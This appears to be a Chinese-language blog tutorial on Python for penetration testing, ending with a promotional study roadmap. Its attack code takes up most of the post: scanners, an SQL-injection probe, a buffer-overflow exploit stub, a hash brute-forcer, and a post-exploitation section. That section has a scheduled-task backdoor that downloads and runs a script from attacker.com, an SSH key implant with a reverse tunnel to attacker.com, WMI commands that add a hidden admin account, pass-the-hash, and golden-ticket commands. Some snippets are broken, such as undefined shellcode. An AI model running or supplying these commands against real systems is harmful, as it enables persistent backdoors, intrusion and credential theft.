目录
1. Python在网络安全领域的优势
2. 网络侦察与信息收集
2.1 子域名枚举技术
2.2 端口扫描高级技巧
3. 漏洞扫描与利用技术
3.1 SQL注入检测工具
3.2 缓冲区溢出漏洞利用
4. 密码破解与加密对抗
4.1 多线程密码爆破
4.2 流量加密与解密
5. 后渗透攻击技术深度解析
权限维持技术
横向移动技术
6. 防御性编程实践
输入验证强化
沙箱技术实现
7. 法律与道德规范
8. 综合实战案例
9. 推荐资源
法律声明与道德准则
1. Python在网络安全领域的优势
Python凭借其丰富的第三方库和简洁的语法结构,已成为网络安全领域的首选语言。其主要优势体现在:
-
丰富的网络库支持:socket、requests、scapy等
-
快速原型开发:可在数小时内构建复杂工具
-
跨平台兼容性:Windows/Linux/macOS通用
-
社区资源丰富:超过10万个安全相关开源项目
-
与其他语言的无缝集成:C/C++/Go扩展支持
# 典型的安全工具结构示例
import argparse
import sys
from multiprocessing import Pool
class SecurityTool:
def __init__(self, target):
self.target = target
self.results = []
def scan(self):
# 扫描逻辑实现
pass
def report(self):
# 生成报告
pass
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", required=True)
args = parser.parse_args()
tool = SecurityTool(args.target)
tool.scan()
tool.report()
2. 网络侦察与信息收集
2.1 子域名枚举技术
import requests
from bs4 import BeautifulSoup
import itertools
class SubdomainEnumerator:
def __init__(self, domain):
self.domain = domain
self.wordlist = ["www", "mail", "ftp", "dev"]
def crtsh_search(self):
url = f"https://crt.sh/?q=%.{self.domain}"
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
domains = set()
for row in soup.find_all('tr'):
cells = row.find_all('td')
if len(cells) > 4:
domain = cells[4].text.strip()
domains.add(domain)
return domains
def brute_force(self):
found = []
for sub in self.wordlist:
url = f"http://{sub}.{self.domain}"
try:
requests.get(url, timeout=3)
found.append(url)
except:
continue
return found
# 使用示例
enumerator = SubdomainEnumerator("example.com")
print("CRT.sh发现:", enumerator.crtsh_search())
print("暴力破解发现:", enumerator.brute_force())
2.2 端口扫描高级技巧
import socket
from concurrent.futures import ThreadPoolExecutor
class AdvancedPortScanner:
def __init__(self, target, ports=None):
self.target = target
self.ports = ports or range(1, 1024)
self.open_ports = []
def scan_port(self, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
result = sock.connect_ex((self.target, port))
if result == 0:
service = socket.getservbyport(port, 'tcp')
self.open_ports.append((port, service))
sock.close()
def stealth_scan(self):
# 半开放扫描实现
pass
def run_scan(self, threads=100):
with ThreadPoolExecutor(max_workers=threads) as executor:
executor.map(self.scan_port, self.ports)
return sorted(self.open_ports)
# 使用示例
scanner = AdvancedPortScanner("192.168.1.1")
print("开放端口:", scanner.run_scan())
3. 漏洞扫描与利用技术
3.1 SQL注入检测工具
import requests
from urllib.parse import urljoin
class SQLiScanner:
PAYLOADS = [
"'",
"')",
"';",
'"',
'")',
'";',
"`",
"`)",
"`;"
]
def __init__(self, url):
self.url = url
self.vulnerable = False
def test_injection(self):
for payload in self.PAYLOADS:
test_url = f"{self.url}{payload}"
response = requests.get(test_url)
if "error in your SQL syntax" in response.text:
self.vulnerable = True
return True
return False
# 使用示例
scanner = SQLiScanner("http://test.com/page?id=1")
if scanner.test_injection():
print("发现SQL注入漏洞!")
3.2 缓冲区溢出漏洞利用
import socket
import struct
class BufferOverflowExploit:
def __init__(self, target, port):
self.target = target
self.port = port
self.pattern = b"A" * 1024
self.eip = struct.pack("<I", 0x7C86467B) # jmp esp地址
def create_payload(self):
return self.pattern + self.eip + b"\x90"*16 + shellcode
def exploit(self):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((self.target, self.port))
sock.send(self.create_payload())
sock.close()
# 注意:此处仅为教学示例,实际使用需要定制
4. 密码破解与加密对抗
4.1 多线程密码爆破
import hashlib
from itertools import product
from concurrent.futures import ThreadPoolExecutor
class PasswordCracker:
def __init__(self, hash_value, charset="abcdef123456"):
self.hash_value = hash_value
self.charset = charset
self.found = None
def check_password(self, candidate):
if hashlib.md5(candidate.encode()).hexdigest() == self.hash_value:
self.found = candidate
return True
return False
def brute_force(self, length=6):
with ThreadPoolExecutor(max_workers=8) as executor:
for pwd_length in range(1, length+1):
combinations = product(self.charset, repeat=pwd_length)
for combo in combinations:
candidate = ''.join(combo)
if executor.submit(self.check_password, candidate).result():
return candidate
return None
# 使用示例
cracker = PasswordCracker("e10adc3949ba59abbe56e057f20f883e") # 123456的MD5
print("破解结果:", cracker.brute_force())
4.2 流量加密与解密
from cryptography.fernet import Fernet
import base64
class SecureCommunicator:
def __init__(self, key=None):
self.key = key or Fernet.generate_key()
self.cipher = Fernet(self.key)
def encrypt(self, data):
return self.cipher.encrypt(data.encode())
def decrypt(self, encrypted_data):
return self.cipher.decrypt(encrypted_data).decode()
def save_key(self, filename):
with open(filename, "wb") as f:
f.write(base64.urlsafe_b64encode(self.key))
# 使用示例
comm = SecureCommunicator()
secret = comm.encrypt("Top Secret Message")
print("解密结果:", comm.decrypt(secret))
5. 后渗透攻击技术深度解析
权限维持技术
代码示例1:Windows计划任务持久化(Python)
import os
# 创建每小时执行的后门计划任务
payload = "powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/backdoor.ps1')"
cmd = f'schtasks /create /tn "UpdateService" /tr "{payload}" /sc hourly /mo 1 /f'
os.system(cmd)
技术原理:通过Windows任务计划程序实现持久化,每小时触发载荷下载。使用系统内置命令降低检测概率
防御对策:监控计划任务创建事件(Event ID 106),限制PowerShell执行策略
代码示例2:Linux SSH密钥植入(Bash)
# 在目标主机生成SSH密钥对
mkdir -p /dev/shm/.cache && cd $_
ssh-keygen -t rsa -N "" -f ./key
cat ./key.pub >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
# 建立反向SSH隧道
ssh -i key -fNTR 2222:localhost:22 user@attacker.com
技术原理:利用SSH密钥认证实现无密码访问,通过反向隧道穿透防火墙
检测方法:审计authorized_keys文件修改时间,监控非常规端口SSH连接
横向移动技术
代码示例3:基于WMI的远程执行(PowerShell)
$cred = Get-Credential
$command = "net user hacker P@ssw0rd! /add && net localgroup administrators hacker /add"
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $command `
-ComputerName 192.168.1.0/24 -Credential $cred -ErrorAction SilentlyContinue
技术原理:利用WMI管理协议在网段内批量执行命令,通过ICMP回显确认存活主机
防御措施:启用Windows防火墙过滤WMI流量(TCP 135),配置主机级执行策略限制
代码示例4:Pass-the-Hash攻击模拟(Python)
from impacket import smb
hash = "aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4"
conn = smb.SMB('192.168.1.10', '192.168.1.10')
conn.login('Administrator', '', lmhash=hash[:32], nthash=hash[33:])
conn.createShare('ADMIN$')
技术原理:利用NTLM哈希直接通过SMB协议认证,无需破解明文密码
检测方案:监控Event ID 4624(登录类型3)中的异常NTLM登录事件
6. 防御性编程实践
输入验证强化
代码示例5:SQL注入防御(Python Flask)
from flask import request
import re
def sanitize_input(input_str):
pattern = r"^[a-zA-Z0-9_\-@. ]{1,50}$"
if not re.match(pattern, input_str):
raise ValueError("非法输入字符")
return input_str.strip()
@app.route('/search')
def search():
keyword = sanitize_input(request.args.get('q'))
# 使用参数化查询
cursor.execute("SELECT * FROM products WHERE name LIKE %s", ('%'+keyword+'%',))
技术要点:白名单正则验证 + 参数化查询 + 长度限制,三重防御机制
沙箱技术实现
代码示例6:Python动态分析沙箱
import sys
import os
import tempfile
from restricted_env import RestrictedEnvironment
def analyze_malware(code):
with tempfile.TemporaryDirectory() as tmpdir:
# 限制资源访问
env = RestrictedEnvironment(
stdout=sys.stdout,
stderr=sys.stderr,
filesystem_root=tmpdir,
network_access=False,
max_memory=256*1024*1024
)
try:
env.execute(code, timeout=30)
except SecurityViolation as e:
print(f"检测到危险操作: {e}")
7. 法律与道德规范
典型案例:
- 美国诉Morris案(1988):首个依据《计算机欺诈和滥用法》定罪案件
- 英国国家医疗系统(NHS)渗透测试诉讼:超出授权范围的扫描导致服务中断
道德框架:
graph TD
A[授权范围] --> B(书面授权文件)
A --> C(时间窗口限定)
D[数据保护] --> E(不提取敏感数据)
D --> F(测试后数据销毁)
G[报告规范] --> H(包含完整攻击链)
G --> I(提供修复建议)
8. 综合实战案例
攻击阶段分解:
1. 信息收集
- ASN映射:使用amass intel -org <公司名>
- 子域名爆破:altdns -i domains.txt -o permutations.txt
2. 漏洞利用
- JWT伪造攻击:python3 jwt_tool.py -t http://target.com -rc "role=admin"
3. 后渗透阶段
- 域内信息收集:bloodhound-python -d domain.com -u user -p 'Password123!' -c All
- 黄金票据生成:mimikatz "kerberos::golden /domain:domain.com /sid:S-1-5-21-... /rc4:hash /user:Administrator"
9. 推荐资源
工具链矩阵:
类别 | 开源工具 | 商业方案 |
---|---|---|
漏洞扫描 | OpenVAS, nuclei | Nessus, Qualys |
流量分析 | Zeek, Suricata | Darktrace, Vectra |
取证分析 | Autopsy, Volatility | EnCase, X-Ways |
法律声明与道德准则
**本文所有技术内容仅供学习研究使用,任何未授权访问计算机系统、破坏数据完整性的行为均属违法。**读者应在法律允许范围内进行安全测试,遵循以下原则:
-
始终获取明确书面授权
-
不得影响目标系统可用性
-
严格保护发现的漏洞信息
-
遵守当地网络安全法律法规
安全从业者应秉持"白帽"精神,将技术能力用于提升网络安全防护水平,共同维护数字世界的安全秩序。
👇👇👇
网络安全学习路线&学习资源
网络安全的知识多而杂,怎么科学合理安排?
下面给大家总结了一套适用于网安零基础的学习路线,应届生和转行人员都适用,学完保底6k!就算你底子差,如果能趁着网安良好的发展势头不断学习,日后跳槽大厂、拿到百万年薪也不是不可能!
初级网工
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.
零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习; 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime; ·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完; ·用Python编写漏洞的exp,然后写一个简单的网络爬虫; ·PHP基本语法学习并书写一个简单的博客系统; 熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选); ·了解Bootstrap的布局或者CSS。
8、超级网工
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。感兴趣的童鞋可以研究一下,不懂得地方可以【点这里】加我耗油,跟我学习交流一下。
网络安全工程师企业级学习路线
如图片过大被平台压缩导致看不清的话,可以【点这里】加我耗油发给你,大家也可以一起学习交流一下。
一些我自己买的、其他平台白嫖不到的视频教程:
需要的话可以扫描下方卡片加我耗油发给你(都是无偿分享的),大家也可以一起学习交流一下。
网络安全学习路线&学习资源
结语
网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。
特别声明:
此教程为纯技术分享!本书的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失!!!